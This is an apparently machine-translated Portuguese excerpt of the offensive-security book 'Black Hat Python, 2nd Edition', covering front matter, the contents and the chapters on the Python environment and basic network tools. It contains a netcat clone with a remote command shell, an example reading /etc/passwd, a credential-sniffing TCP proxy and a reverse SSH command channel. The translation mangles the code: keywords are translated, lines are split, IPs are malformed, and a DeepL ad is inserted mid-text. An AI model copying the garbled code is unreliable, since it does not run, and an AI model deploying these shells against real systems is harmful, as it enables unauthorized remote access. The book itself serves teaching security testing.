Escolar Documentos
Profissional Documentos
Cultura Documentos
ORAÇA PARA
PYTHON DE CHAPÉU PRETO, 2ª EDIÇÃO
"Se você realmente tem a mentalidade de um hacker, uma centelha é tudo o que
você precisa para torná-la sua e fazer algo ainda mais surpreendente. Justin Seitz
oferece muitas faíscas".
-ETHICAL HACKER
"Outro incrível livro Python". Com um ou dois ajustes menores, muitos destes
programas terão pelo menos dez anos de validade, o que é raro para um livro de
cidade de segurança".
-STEPHEN NORTHCUTT, presidente
fundador DO Instituto de TECNOLOGIA
SANS
Todos os direitos reservados. Nenhuma parte deste trabalho pode ser reproduzida ou transmitida de
qualquer forma ou por qualquer meio, eletrônico ou mecânico, incluindo fotocópia, gravação ou por
qualquer sistema de armazenamento ou recuperação de informações, sem a permissão prévia por
escrito do proprietário dos direitos autorais e da editora.
No Starch Press e o logotipo No Starch Press são marcas registradas da No Starch Press, Inc. Outros nomes de
produtos e empresas aqui mencionados podem ser marcas registradas de seus respectivos proprietários. Ao
invés de usar um símbolo de marca registrada com cada ocorrência de um nome registrado, estamos usando
os nomes apenas de forma editorial e em benefício do proprietário da marca registrada, sem intenção de
infringir a marca registrada.
As informações contidas neste livro são distribuídas na base "Como está", sem garantia. Embora todas as
precauções tenham sido tomadas na preparação deste trabalho, nem os autores nem a No Starch Press, Inc.
terão qualquer responsabilidade perante qualquer pessoa ou entidade com relação a qualquer perda ou
dano causado ou supostamente causado direta ou indiretamente pelas informações contidas no mesmo.
[S]
À minha linda esposa, Clare. Eu te amo.
-Justin
Sobre os Autores
Justin Seitz é um renomado titioner de segurança cibernética e inteligência
de código aberto e o co-fundador da Dark River Systems Inc., uma empresa
canadense de segurança e inteligência. Seu trabalho tem sido apresentado
em Popular Science, Motherboard, e Forbes. Justin é autor de dois livros
sobre o desenvolvimento de ferramentas de hacking. Ele criou a plataforma
de treinamento AutomatingOSINT.com e Hunchly, uma ferramenta de coleta
de inteligência de código aberto para os investigadores. Justin também é
colaborador do site de jornalismo cidadão Bellingcat, um mem- ber do
Conselho Consultivo Técnico do Tribunal Penal Internacional, e um Fellow do
Centro de Estudos Avançados em Defesa em Washington, DC.
Tim Arnold é atualmente um programador profissional de Python e cian-
estatística. Ele passou grande parte de seu início de carreira na Universidade
Estadual da Carolina do Norte como um respeitado palestrante e educador
internacional. Entre suas realizações, ele garantiu que as ferramentas
educacionais fossem acessíveis a comunidades carentes em todo o mundo,
inclusive tornando a documentação matemática acessível aos cegos.
Nos últimos anos, Tim tem trabalhado no Instituto SAS como um dos
principais desenvolvedores de software, projetando e implementando um
sistema de publicação de documentação técnica e matemática. Ele fez parte
da diretoria da Raleigh ISSA e como consultor da diretoria do Instituto
Internacional de Estatística. Ele gosta de trabalhar como um educador
independente, tornando os conceitos infosec e Python disponíveis para
novos usuários e elevando aqueles com mais
habilidades avançadas. Tim vive na Carolina do Norte com sua esposa, Treva, e um
vilão - ous cockatiel chamado Sidney. Você pode encontrá-lo no Twitter em
@jtimarnold.
Prefácio .....................................................................................................................................xv
Prefácio ...................................................................................................................................xvii
Agradecimentos........................................................................................................................xix
Índice ......................................................................................................................................185
CON T E N T E S IN DE TA IL
PREÂMBULO XV
PREFÁCIO XVII
AGRADECIMENTOS XIX
1
CRIANDO SEU AMBIENTE PYTHON 1
Instalando o Kali Linux .........................................................................................................2
Montando o Python 3.............................................................................................................3
Instalando uma IDE ..............................................................................................................5
Código de Higiene ................................................................................................................5
2
FERRAMENTAS BÁSICAS DE REDE 9
A rede Python em um parágrafo ........................................................................................10
Cliente TCP .........................................................................................................................10
Cliente UDP ........................................................................................................................11
Servidor TCP........................................................................................................................12
Substituindo Netcat.............................................................................................................13
Chutando os Pneus .............................................................................................17
Construindo um Proxy TCP ................................................................................................19
Chutando os Pneus .............................................................................................24
SSH com Paramiko ............................................................................................................26
Chutando os Pneus .............................................................................................30
Túnel SSH...........................................................................................................................30
Chutando os Pneus .............................................................................................34
3
ESCREVENDO UM FAREJADOR 35
Construindo uma ferramenta UDP Host Discovery..............................................................36
Cheirando pacotes em Windows e Linux...........................................................................36
Chutando os Pneus .............................................................................................38
Decodificação da camada IP................................................................................................38
O módulo dos tipos................................................................................................39
O módulo estrutural.................................................................................................41
Escrevendo o Decodificador IP............................................................................43
Chutando os Pneus .............................................................................................45
Descodificando o ICMP......................................................................................................46
Chutando os Pneus .............................................................................................50
4
POSSUIR A REDE COM SCAPY 53
Roubo de credenciais por e-mail ........................................................................................54
Chutando os Pneus .............................................................................................57
ARP Envenenamento por Cache com Scapy .......................................................................57
Chutando os Pneus .............................................................................................62
Processamento da tampa...................................................................................................63
Chutando os Pneus .............................................................................................69
5
HACKERY WEB 71
Usando bibliotecas Web.....................................................................................................72
A biblioteca urllib2 para Python 2.x......................................................................72
A biblioteca urllib para Python 3.x.........................................................................73
A biblioteca de pedidos............................................................................................74
Os pacotes lxml e BeautifulSoup ...........................................................................74
Mapeamento de instalações de aplicações Web de código aberto ....................................76
Mapeando a estrutura do WordPress ...................................................................76
Testando o Alvo Vivo ..............................................................................................80
Chutando os Pneus .............................................................................................81
Diretórios de Força Bruta e Localização de Arquivos.............................................................82
Chutando os Pneus .............................................................................................85
Autenticação de Formulário HTML Forçado Bruto ......................................................................85
Chutando os Pneus .............................................................................................90
6
PROLONGANDO A PROXY DE ARROTO 93
Instalação ............................................................................................................................94
Burp Fuzzing ......................................................................................................................95
Chutando os Pneus ...........................................................................................101
Usando Bing for Burp.......................................................................................................104
Chutando os Pneus ...........................................................................................108
Transformando o conteúdo do site em ouro por senha.......................................................110
Chutando os Pneus ...........................................................................................113
7
COMANDO E CONTROLE DO GITHUB 117
Criação de uma conta GitHub ..........................................................................................118
Criando Módulos ..............................................................................................................119
Configurando o Trojan .....................................................................................................120
Construindo um Trojan GitHub-Aware .............................................................................121
Hacking Python's import Functionality ................................................................123
Chutando os Pneus ...........................................................................................124
9
DIVERSÃO COM A EXFILTRAÇÃO 139
Criptografia e decriptação de arquivos..............................................................................140
Exfiltração de e-mail...........................................................................................................142
Transferência de arquivos Exfiltração....................................................................................144
Exfiltração através de um Servidor Web ...........................................................................145
Colocando tudo junto.........................................................................................................148
Chutando os Pneus ............................................................................................150
10
JANELAS ESCALAÇÃO DE PRIVILÉGIOS 153
Instalando os Pré-requisitos..............................................................................................154
Criando o serviço BlackHat Vulnerável .............................................................................154
Criando um Monitor de Processo.......................................................................................156
Monitoramento de processos com WMI .............................................................157
Chutando os Pneus ...........................................................................................158
Privilégios dos Tokens Windows.......................................................................................159
Vencer a Corrida ..............................................................................................................161
Chutando os Pneus ...........................................................................................164
Injeção de código..............................................................................................................164
Chutando os Pneus ...........................................................................................166
11
FORENSE OFENSIVA 169
Instalação.........................................................................................................................170
Reconhecimento Geral.....................................................................................................171
Reconhecimento do usuário..............................................................................................173
Reconhecimento de Vulnerabilidade ................................................................................176
A interface volshell .............................................................................................................177
Plug-Ins de Volatilidade Personalizados ..............................................................................177
Chutando os Pneus ...........................................................................................182
Avante!............................................................................................................................184
ÍNDICE 185
Já se passaram seis anos desde que escrevi o prefácio para a primeira edição
muito bem sucedida do Black Hat Python. Muito mudou no mundo durante
este tempo, mas uma coisa não mudou: eu ainda escrevo um monte de
código Python. No campo da segurança de computadores, você ainda
encontrará ferramentas escritas em uma variedade de guildas de lan,
dependendo da tarefa. Você verá o código C escrito para uma exploração do
kernel, o código JavaScript escrito para um fuzzer JavaScript, ou um proxy
escrito em uma nova linguagem "hipper" como o Rust. Mas Python ainda é o
cavalo de batalha nesta indústria - tente. Pelo meu dinheiro, ainda é a
linguagem mais fácil para começar, e com o grande número de bibliotecas
disponíveis, é a melhor linguagem para escrever código rapidamente para
executar tarefas complexas de uma maneira simples. A maior parte das
ferramentas e explorações de segurança informática ainda são escritas em
Python. Isto inclui tudo, desde estruturas de exploração como CANVAS até os
clássicos fuzzers como Sulley.
Antes da publicação da primeira edição do Black Hat Python, eu
havia escrito muitos fuzzers e explorações em Python. Estes incluíam exploits
contra Safari para Mac OS X, telefones iPhone e Android, e até mesmo
Second Life. (Você pode ter que pesquisar no Google essa última).
De qualquer forma, desde então, escrevi uma exploração muito
especial, com a ajuda de Chris Valasek, que foi capaz de comprometer
remotamente um Jeep Cherokee 2014 e outros carros. Naturalmente, esta
exploração foi escrita em Python, usando o módulo dbus-python. Todas as
ferramentas que escrevemos, o que acabou permitindo
para controlar remotamente a direção, os freios e a aceleração do veículo
prometido, também foram escritos em Python. Pode-se dizer, de certa forma,
que Python foi responsável pelo recall de 1,4 milhões de veículos Fiat Chrysler.
Se você estiver interessado em mexer nas tarefas de segurança da
informação, Python é uma ótima linguagem para aprender, devido ao grande
número de bibliotecas de engenharia reversa e de exploração
disponíveis para seu uso. Agora, se apenas os desenvolvedores do
Metasploit viessem ao seu sentido e mudassem de Ruby para Python, nossa
comunidade estaria unida.
Nesta nova edição do que se tornou um clássico amado, Justin e Tim
atualizaram todo o código para Python 3. Pessoalmente, sou um dinossauro
que está pendurado em Python 2 o máximo de tempo possível, mas como
bibliotecas úteis terminam
migrando para Python 3, até mesmo eu em breve terei que aprender isso. Esta
edição consegue cobrir uma grande variedade de tópicos que um jovem
hacker empreendedor precisaria começar, desde o básico de como ler e
escrever pacotes de rede - ets até qualquer coisa que você possa precisar
para auditoria e ataque de aplicativos web.
Em geral, o Black Hat Python é uma leitura divertida escrita por
especialistas com anos de experiência que estão dispostos a compartilhar os
segredos que aprenderam ao longo do caminho. Embora possa não
transformá-lo imediatamente em um super hacker acrobata como eu, ele
certamente o levará a seguir o caminho correto.
Lembre-se, a diferença entre garotos de roteiro e hackers
profissionais é que os primeiros usam as ferramentas de outras pessoas.
Estes últimos podem escrever os seus próprios.
Charlie Miller
Security Researcher
St. Louis, Missouri
Outubro de 2020
xvi Prefácio
PR E FACE
Tim oferece um grande obrigado à sua esposa, Treva, por seu apoio
duradouro. Se não fossem vários incidentes serendipitantes, ele não teria
tido a oportunidade de trabalhar neste livro. Ele agradece à Raleigh ISSA,
especialmente Don Elsner e Nathan Kim, por apoiá-lo e encorajá-lo a
ensinar
uma classe local utilizando a primeira edição deste livro. Ensinar essa aula e
trabalhar com seus alunos levou-o ao seu amor pelo livro. E à sua
comunidade hacker local, não menos importante, o pessoal do Oak City
Locksports, ele oferece agradecimentos por seu incentivo e por fornecer uma
caixa de ressonância para suas idéias.
Justin gostaria de agradecer a sua família - sua bela esposa, Clare, e seus
cinco filhos, Emily, Carter, Cohen, Brady e Mason - por todo o encour- agement
e tolerância enquanto ele passou um ano e meio de sua vida escrevendo este
livro. Ele os ama muito a todos. A todos os seus amigos da comunidade
cibernética e OSINT que compartilham bebidas, risos e Tweets: obrigado por
deixá-lo mijar e gemer para você diariamente.
Outro grande obrigado a Bill Pollock da No Starch Press e à nossa
paciente editora, Frances Saux, por ajudar a tornar o livro muito melhor.
Graças ao resto da equipe da No Starch - incluindo Tyler, Serena e Leigh - por
todo o trabalho duro que você colocou neste livro e no resto de sua coleção.
Nós dois apreciamos isso. Gostaríamos também de agradecer ao nosso
revisor técnico, Cliff Janzen, que forneceu um apoio absolutamente incrível
durante todo o processo. Qualquer um que esteja escrevendo um livro de
infosec deveria realmente trazê-lo a bordo; ele foi incrível e depois alguns.
1
S E T T T ING U P YO U R
P Y T HON E N V I R O N M E N T
tim@kali:~$ python
tim@kali:~$ python3
Python 3.7.5 (padrão, 27 de outubro de 2019, 15:43:29)
[GCC 9.2.1 20191022] sobre linux
Digite "ajuda", "direitos autorais", "créditos" ou "licença" para obter mais
informações.
>>>
4 Capítulo 1
Agora podemos criar um ambiente virtual. Vamos fazer um novo diretório
para trabalhar e criar o ambiente:
tim@kali:~$ mkdir
bhp tim@kali:~$ cd
bhp
tim@kali:~/bhp$ python3 -m venv venv3
tim@kali:~/bhp$ fonte venv3/bin/activate
(venv3) tim@kali:~/bhp$ python
Você deve ver a saída em seu terminal indicando que a biblioteca está
sendo baixada e instalada. Em seguida, coloque em uma concha Python e
Montando seu ambiente Python 5
data de vali que foi instalada corretamente:
6 Capítulo 1
Se você receber um erro ou uma versão do Python 2, certifique-se de
ter seguido todos os passos anteriores e de ter a versão atualizada do Kali.
Tenha em mente que para a maioria dos exemplos ao longo deste livro,
você pode desenvolver seu código em uma variedade de ambientes, incluindo
MacOS, Linux e Windows. Você também pode querer criar um ambiente
virtual diferente para projetos ou capítulos separados. Alguns capítulos são
específicos para Windows, que não deixaremos de mencionar no início do
capítulo.
Agora que temos nossa máquina virtual de hacking e um ambiente virtual
Python 3 instalado, vamos instalar uma IDE Python para desenvolvimento.
8 Capítulo 1
você decide compartilhá-lo. A comunidade Python tem uma diretriz,
chamada PEP 8. Você pode ler o guia completo da PEP 8 aqui:
https://www.python.org/dev/peps/ pep-0008/.
Os exemplos neste livro geralmente seguem a PEP 8, com algumas
diferenças. Você verá que o código neste livro segue um padrão como este:
2 importação
argentina
importação os
3 def
get_ip(machine_na
me): passe
4 Scanner de classe:
def init (self):
passe
python scan.py
varredura de importação
1 Capítulo 1
0
Como seu nome interno é o nome do módulo Python, scan, e não
main , você tem acesso a todas as funções e classes definidas do módulo,
mas o bloco principal não é executado.
Você também vai notar que evitamos variáveis com nomes
genéricos. Quanto melhor você conseguir nomear suas variáveis, mais
fácil será entender o programa.
Você deve ter uma máquina virtual, Python 3, um ambiente virtual, e
uma IDE. Agora vamos nos divertir de verdade!
Cliente TCP
Inúmeras vezes durante os testes de penetração, nós (os autores) tivemos
que chicotear um cliente TCP para testar os serviços, enviar dados de lixo,
fuzz, ou por- formar qualquer número de outras tarefas. Se você estiver
trabalhando dentro dos limites dos ambientes de grandes empresas, você
não terá o luxo de usar ferramentas de rede ou compiladores, e às vezes
você estará até faltando o básico absoluto, como a capacidade de
copiar/colar ou se conectar à Internet. É aqui que a possibilidade de criar
rapidamente um cliente TCP é extremamente útil. Mas basta de tagarelar
para obter a codificação. Aqui está um simples cliente TCP:
soquete de importação
target_host = "www.google.com"
target_port = 80
# conectar o cliente
2 client.connect((target_host,target_port))
10 Capítulo 2
print(response.decode())
client.close()
Cliente UDP
Um cliente Python UDP não é muito diferente de um cliente TCP;
precisamos fazer apenas duas pequenas mudanças para que ele envie
pacotes em formato UDP:
soquete de importação
target_host = "127.0.0.0.1
target_port = 9997
print(data.decode())
client.close()
rosca para
importação de
soquetes de
importação
IP = '0.0.0.0.0'.
PORTO = 9998
def main():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((IP, PORT)) 1
server.listen(5) 2
print(f'[*] Listening on { I P } :{PORT}')
enquanto Verdadeiro:
cliente, endereço = server.accept() 3
print(f'[*] Conexão aceita de {address[0]}:{address[1]}')
client_handler = threading.Thread(target=handle_client, args=(client,))
client_handler.start() 4
def handle_client(client_socket): 5
com cliente_socket como meia:
pedido = sock.recv(1024)
print(f'[*] Recebido: {request.decode("utf-8")}')
sock.send(b'ACK')
14 Capítulo 2
[*] Ouvindo em 0.0.0.0.0:9998
[*] Conexão aceita a partir de: 127.0.0.1:62512
[*] Recebido: ABCDEF
Substituindo Netcat
Netcat é a faca utilitária da rede, portanto não é surpresa que os
administradores astutos do sistema de tempo o removam de seus sistemas.
Uma ferramenta tão útil seria uma grande vantagem se um atacante
conseguisse encontrar uma maneira de entrar. Com ela, você pode ler e
escrever dados através da rede, o que significa que você pode usá-la para
executar comandos remotos, passar arquivos para frente e para trás, ou
mesmo abrir uma shell remota. Em mais de uma ocasião, encontramos
servidores que não têm o netcat instalado, mas sim o Python. Nesses casos,
é útil criar um simples cliente e servidor de trabalho em rede que você pode
usar para empurrar arquivos, ou um ouvinte que lhe dá acesso à linha de
comando. Se você entrou através de uma aplicação web, vale
definitivamente a pena deixar cair uma chamada Python para lhe dar acesso
secundário sem ter que queimar primeiro um de seus trojans ou backdoors.
Criar uma ferramenta como esta também é um grande exercício Python,
então vamos começar a escrever netcat.py:
importação
argamassa soquete
de importação
importação shlex
importação
subprocesso de
importação
importação de textos
de importação de fios
de importação
def execute(cmd):
cmd = cmd.strip()
se não cmd:
retornar
1 saída = subprocesso.check_output(shlex.split(cmd)),
stderr=subprocess.STDOUT)
retornar saída.decodificar()
nc = NetCat(args, buffer.encode())
nc.run()
2 tente:
3 enquanto Verdadeiro:
recv_len = 1
resposta = ''
enquanto
recv_len:
data = self.socket.recv(4096) recv_len
= len(data)
resposta += data.decode()
se recv_len < 4096:
4 queb
ra em caso
de
resposta:
print(response)
buffer = input('> ')
buffer += '\n
5 self.socket.send(buffer.encode())
6 exceto KeyboardInterrupt:
print('User terminated.')
self.socket.close()
sys.exit()
2 elif self.args.upload:
file_buffer = b''
while True:
data = client_socket.recv(4096)
se dados:
file_buffer += data
else:
intervalo
3 elif self.args.command:
cmd_buffer = b''
while True:
tente:
client_socket.send(b'BHP: #> ')
enquanto '\n' não em
cmd_buffer.decode(): cmd_buffer +=
client_socket.recv(64)
resposta = execute(cmd_buffer.decode())
se resposta:
client_socket.send(response.encode())
cmd_buffer = b''
exceto Exceção como e:
print(f'server killed
{ e } ') self.socket.close()
sys.exit()
16 Capítulo 2
para a função executar e envia a saída de volta para o soquete. Se um arquivo
deve ser carregado 2, configuramos um loop para ouvir o conteúdo no
soquete de escuta e receber os dados até que não haja mais dados entrando.
Então
nós escrevemos esse conteúdo acumulado no arquivo especificado.
Finalmente, se for criada uma shell 3, montamos um loop, enviamos um
prompt ao remetente e aguardamos o retorno de uma seqüência de
comandos. Em seguida, executamos o comando usando o comando
executar a função e retornar a saída do comando para o remetente.
Você notará que a casca procura um novo caractere de linha para
determinar quando processar um comando, o que o torna amigável à rede.
Ou seja, você pode usar este programa no lado do ouvinte e usar a própria
netcat no lado do remetente. Entretanto, se você estiver conjurando um
cliente Python para falar com ele, lembre-se de adicionar o caractere da nova
linha. No método de envio, você pode ver que adicionamos o novo caractere
de linha após recebermos a entrada do console.
Chutando os Pneus
Agora vamos brincar um pouco com isso para ver algum resultado. Em um terminal
ou
cmd.exe shell, execute o roteiro com o argumento --ajuda:
Argumentos opcionais
Exemplo:
netcat.py -t 192.168.1.108 -p 5555 -l -c # comando shell
netcat.py -t 192.168.1.108 -p 5555 -l -u=mytest.txt # upload to file netcat.py -t
192.168.1.108 -p 5555 -l -e="cat /etc/passwd" # executar comando echo
'ABCDEFGHI' | ./netcat.py -t 192.168.1.108 -p 135
# ecoar texto local para a porta 135 do servidor
netcat.py -t 192.168.1.108 -p 5555 # conectar ao servidor
18 Capítulo 2
até receber o marcador de fim de arquivo (EOF). Para enviar o EOF,
pressione CTRL-D em seu teclado:
root:x:0:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:2:bin:/bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
% nc 192.168.1.203 5555
root:x:0:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:2:bin:/bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
Aí está! Embora não seja uma técnica super técnica, é uma boa dádiva
para hackear juntos algumas tomadas de cliente e servidor em Python e
usá-las para o mal. É claro que este programa cobre apenas os
fundamentos; use sua imaginação para expandi-lo ou melhorá-lo. A seguir,
vamos construir um proxy TCP, que é útil em qualquer número de cenários
ofensivos.
rosca de
importação do
soquete de
importação do
sistema de
importação
20 Capítulo 2
1 HEX_FILTER = ''.join(
[(len(repr(chr(i))) == 3) e chr(i) ou '.' para i na faixa (256)])
resultados = lista()
para i no alcance(0, len(src), comprimento):
3 palavra = str(src[i:i+length])
4 imprimível = word.translate(HEX_FILTER)
hexa = ' '.join([f'{ord(c):02X}' for c in word])
largura hexagonal = comprimento*3
5 resultados.append(f'{i:04x} { h e x a :<{hexwidth}}}
{ p r i n t a b l e } ') if show:
para linha em
resultados:
imprimir(linha)
senão:
resultados de retorno
>>> chr(65)
'A'
>>> chr(30)
\x1e
>>> len(repr(chr(65))) 3
>>> len(repr(chr(30))) 6
' .................................................................!"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJK
LMNOPQRSTUVWXYZ[.]^_`abcdefghijklmnopqrstuvwxyz{|}~...........................
.............¡§COPY10¥¦§¨©ª"¬.®¯°±²³'µ¶-
¸¹º"¼½¾¿ÀÁÁÂÃÄÄÅÆÇÈÉÊÊËÌÍÎÏÐÑÒÓÔÔÔ×ØÙÚÛÜÝÞßàáâãäåæç
22 Capítulo 2
èéêêëìíîïðñòóôõö÷øùúûüýþÿ''.
def receive_from(connection):
buffer = b""
1 connection.settimeout(5)
try:
enquanto Verdadeiro:
2 data = connection.recv(4096)
se não forem dados:
buffer de
quebra +=
dados
exceto Exceção como
e: passe
tampão de retorno
def request_handler(buffer):
# executar modificações de
pacotes tampão de retorno
24 Capítulo 2
def response_handler(tampão):
# executar modificações de
pacotes tampão de retorno
se receber_primeiro: 2
remote_buffer = receber_de(remote_socket)
hexdump(tampão_remoto)
remote_buffer = response_handler(tampão_de_resposta) 3
se len(remote_buffer):
print("[<===] Enviando bytes %d para o localhost". % len(remote_buffer))
client_socket.send(remote_buffer)
enquanto Verdadeiro:
local_buffer = recebe_de(cliente_socket)
se len(local_buffer):
line = "[==>]Recebido %d bytes do localhost". % len(local_buffer) print(line)
hexdump(local_buffer)
local_buffer = request_handler(local_buffer)
remote_socket.send(local_buffer) print("[==>]
Sent to remote")
remote_buffer = recebe_de(remote_socket) se
len(remote_buffer):
print("[<====] Recebido %d bytes de controle remoto". % len(remote_buffer))
hexdump(remote_buffer)
remote_buffer = response_handler(remote_buffer)
client_socket.send(remote_buffer)
print("[<===] Enviado para o localhost")
def main():
se len(sys.argv[1:]) != 5:
print("Usage: ./proxy.py [localhost] [localport]", end='')
print("[remotehost] [remoteport] [remoteport] [receive_first]")
print("Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True")
sys.exit(0)
local_host = sys.argv[1]
local_port = int(sys.argv[2])
Ferramentas Básicas de Trabalho em
Rede 27
Assine o DeepL Pro para traduzir arquivos maiores.
Mais informações em www.DeepL.com/pro.
remote_host = sys.argv[3]
remote_port = int(sys.argv[4])
receive_first = sys.argv[5]
se "Verdadeiro" em
receive_first: receive_first =
Verdadeiro
senão:
receive_first = False
server_loop(local_host, local_port,
remote_host, remote_port, receive_first)
Chutando os Pneus
Agora que temos o núcleo do loop proxy e as funções de suporte no lugar,
vamos testá-lo contra um servidor FTP. Ligue o proxy com as seguintes opções:
24 Capítulo 2
001 74 70 2E 73 75 6E 2E 61 63 2E 7A 61 0D 0A tp.sun.ac.za..
0
000 55 53 45 52 20 61 6E 6F 6E 79 6D 6F 75 73 0D 0A USUÁRIO
0 anônimo...
000 33 33 31 20 50 6C 65 61 73 65 20 73 70 65 63 69 331 Favor
0 especificar
001 66 79 20 74 68 65 20 70 61 73 73 77 6F 72 64 2E fy a senha.
0
002 0D 0A ..
0
000 50 41 53 53 20 73 65 6B 72 65 74 0D 0A PASS sekret...
0
000 32 33 30 20 4C 6F 67 69 6E 20 73 75 63 63 65 73 230 Sucesso no
0 Login
001 73 66 75 6C 2E 0D 0A cheio...
0
[==>] Enviado para o local.
[<==] Recebeu 6 bytes do local.
000 53 59 53 54 0D 0A SYST...
0
000 32 31 35 20 55 4E 49 58 20 54 79 70 65 3A 20 4C 215 Tipo UNIX: L
0
001 38 0D 0A 8..
0
[<==] Recebeu 28 bytes de local.
000 50 4F 52 54 20 31 39 32 2C 31 36 38 2C 31 2C 32 PORTO
0 192.168.1.2
001 30 33 2C 31 38 37 2C 32 32 32 33 0A 03,187,223..
0 0D
000 32 30 30 20 50 4F 52 54 20 63 6F 6 6 61 6E 64 200 comando
0 D D PORT
001 20 73 75 63 63 65 73 73 66 75 6C 2E 20 43 6F 6E sucesso. Con
0
002 73 69 64 65 72 20 75 73 69 6E 67 20 50 41 53 56 sider usando
0 PASV
0030 2E 0D 0A ...
[<==] Recebid 6 bytes de local.
o
0000 4C 49 53 54 0D 0A LISTA...
[<==] Recebid 63 bytes de distância.
o
000 31 35 30 20 48 6 72 65 20 63 6F 6 65 73 20 74 150 Aqui vem t
0 5 D
001 68 65 20 64 69 7 65 63 74 6F 72 79 20 6C 69 73 lista de diretório
0 2 lis
002 74 69 6E 67 2E 0 0A 32 32 36 20 44 69 72 65 63 ting...226
0 D Diretriz
003 74 6F 72 79 20 7 65 6E 64 20 4F 4B 2E 0 0A tory envie OK...
0 3 D
000 50 4F 52 54 20 3 39 32 2C 31 36 38 2 31 2C 32 PORTO
0 1 C 192.168.1.2
001 30 332C 32 31 3 2C 31 31 0 0 03,218,11..
0 8 D A
000 32 30 30 20 50 4 52 54 20 63 6F 6 6 61 6E 64 200 comando
0 F D D PORT
001 20 73 75 63 63 6 73 73 66 75 6 2E 20 43 6F 6E sucesso. Con
0 5 C
002 73 69 64 65 72 2 75 73 69 6E 67 20 50 41 53 56 sider usando
Você pode ver claramente que somos capazes de receber com sucesso
a proibição FTP e enviar um nome de usuário e uma senha, e que ela sai
limpa.
26 Capítulo 2
SSH com Paramiko
A rotação com BHNET, o substituto da netcat que construímos, é bastante
útil, mas às vezes é sábio encriptar seu tráfego para evitar a detecção. Um
meio comum de fazer isso é túneis de tráfego usando a Secure Shell (SSH).
Mas e se seu alvo não tiver um cliente SSH, assim como 99,81943 por
cento dos sistemas Windows?
Embora existam grandes clientes SSH disponíveis para Windows, como
PuTTY, este é um livro sobre Python. Em Python, você poderia usar
soquetes brutos e alguma mágica criptográfica para criar seu próprio
cliente ou servidor SSH - mas por que criar quando você pode reutilizar?
Paramiko, que usa PyCrypto, lhe dá acesso simples ao protocolo SSH2.
Para saber como esta biblioteca funciona, usaremos Paramiko para
fazer uma conexão e executar um comando em um sistema SSH,
configurar um servidor SSH e um cliente SSH para executar comandos
remotos em uma máquina Windows e, por fim, criar o arquivo de
demonstração do túnel reverso incluído com Paramiko para duplicar a
opção de proxy do BHNET. Vamos começar.
Primeiro, pegue Paramiko usando o instalador de tubulações (ou faça o
download a partir de
http://www.paramiko.org/):
paramiko de importação
28 Capítulo 2
Criamos uma função chamada ssh_command 1, que faz uma conexão
com um servidor SSH e executa um único comando. Note que Paramiko
suporta autenticação com chaves em vez de (ou em adição a) autenticação
por senha.
ção. Você deve usar a autenticação por chave SSH em um compromisso
real, mas para facilitar o uso neste exemplo, ficaremos com a autenticação
tradicional por nome de usuário e senha.
Como estamos controlando ambas as extremidades desta conexão,
definimos o pol- icy para aceitar a chave SSH para o servidor SSH que
estamos conectando a 2 e fazer a conexão. Assumindo que a conexão é
feita, executamos o comando 3 que passamos na chamada para a função
ssh_command. Então, se o comando
produção, nós imprimimos cada linha da produção.
No bloco principal, usamos um novo módulo, o getpass 4. Você
pode usá-lo para obter o nome de usuário do ambiente atual, mas como
nosso nome de usuário é diferente nas duas máquinas, pedimos explicitamente
o nome de usuário no
linha de comando. Usamos então a função getpass para solicitar a senha (a
resposta não será exibida no console para frustrar qualquer surfista de
ombro). Em seguida, obtemos o IP, porta e comando (cmd) para executar e
enviá-lo para
ser executado 5.
Vamos fazer um teste rápido conectando-se ao nosso servidor Linux:
% python ssh_cmd.py
Nome de usuário:
tim Senha:
Insira o IP do servidor: 192.168.1.203
Entre na porta ou <CR>: 22
Digite o comando ou <CR>: id
--- Saída ---
uid=1000(tim) gid=1000(tim) grupos=1000(tim),27(sudo)
importação
ssh_session =
client.get_transport().open_session() se
ssh_session.active:
ssh_session.send(comando)
30 Capítulo 2
print(ssh_session.recv(1024).decode())
enquanto True:
comando = ssh_session.recv(1024) 1
tente:
cmd =
comando.decodificar
() se cmd == 'sair':
cliente.fechar()
pausa
cmd_output = subprocesso.check_output(shlex.split(cmd), shell=Verdadeiro) 2
ssh_session.send(cmd_output ou 'ok') 3
exceto Exceção como e:
ssh_session.send(str(e))
client.close()
retornar
ip = entrada('Entrar IP do
servidor: ') porta =
entrada('Entrar porta: ')
ssh_command(ip, porto, usuário, senha, 'ClientConnected') 4
importação de
sistemas de
importação de
soquetes de
importação
Ferramentas Básicas de Trabalho em
Rede 31
paramiko
rosqueamento de importação
2 class Server
(paramiko.ServerInterface): def
_init_(self):
self.event = threading.event()
32 Capítulo 2
def check_auth_password(self, username, password):
se (nome de usuário == 'tim') e (senha == 'sekret'):
retornar paramiko.AUTH_SUCCESSFUL
4 bhSession =
paramiko.Transport(client)
bhSession.add_server_key(HOSTKEY)
server = Server()
bhSession.start_server(server=server
)
chan =
bhSession.accept(20) se
chan for None:
print('*** Sem canal.')
sys.exit(1)
5 imprimir('[+] Autenticado!')
6 print(chan.recv(1024))
chan.send('Welcome to
bh_ssh') try:
enquanto Verdadeiro:
command= input("Enter
comando: ") se comando != 'exit':
chan.send(comma
nd) r =
Ferramentas Básicas de Trabalho em
Rede 33
chan.recv(8192)
print(r.decode())
senão:
chan.send('exit')
print('exit')
bhSession.close()
break
exceto KeyboardInterrupt:
bhSession.close()
Para este exemplo, estamos usando a chave SSH incluída nos arquivos de
demonstração Paramiko 1. Iniciamos um ouvinte de soquete 3, como
fizemos anteriormente no capítulo, e depois o "SSH-inize" 2 e configuramos
os métodos de autenticação 4. Quando
um cliente autenticou 5 e nos enviou a mensagem ClientConnected 6, qualquer
34 Capítulo 2
que digitamos no servidor SSH (a máquina rodando ssh_server.py) é
enviada para o cliente SSH (a máquina rodando ssh_rcmd.py) e executada
no cliente SSH, que retorna a saída para o servidor SSH. Vamos tentar.
Chutando os Pneus
Para a demonstração, executaremos o cliente em nossa máquina Windows
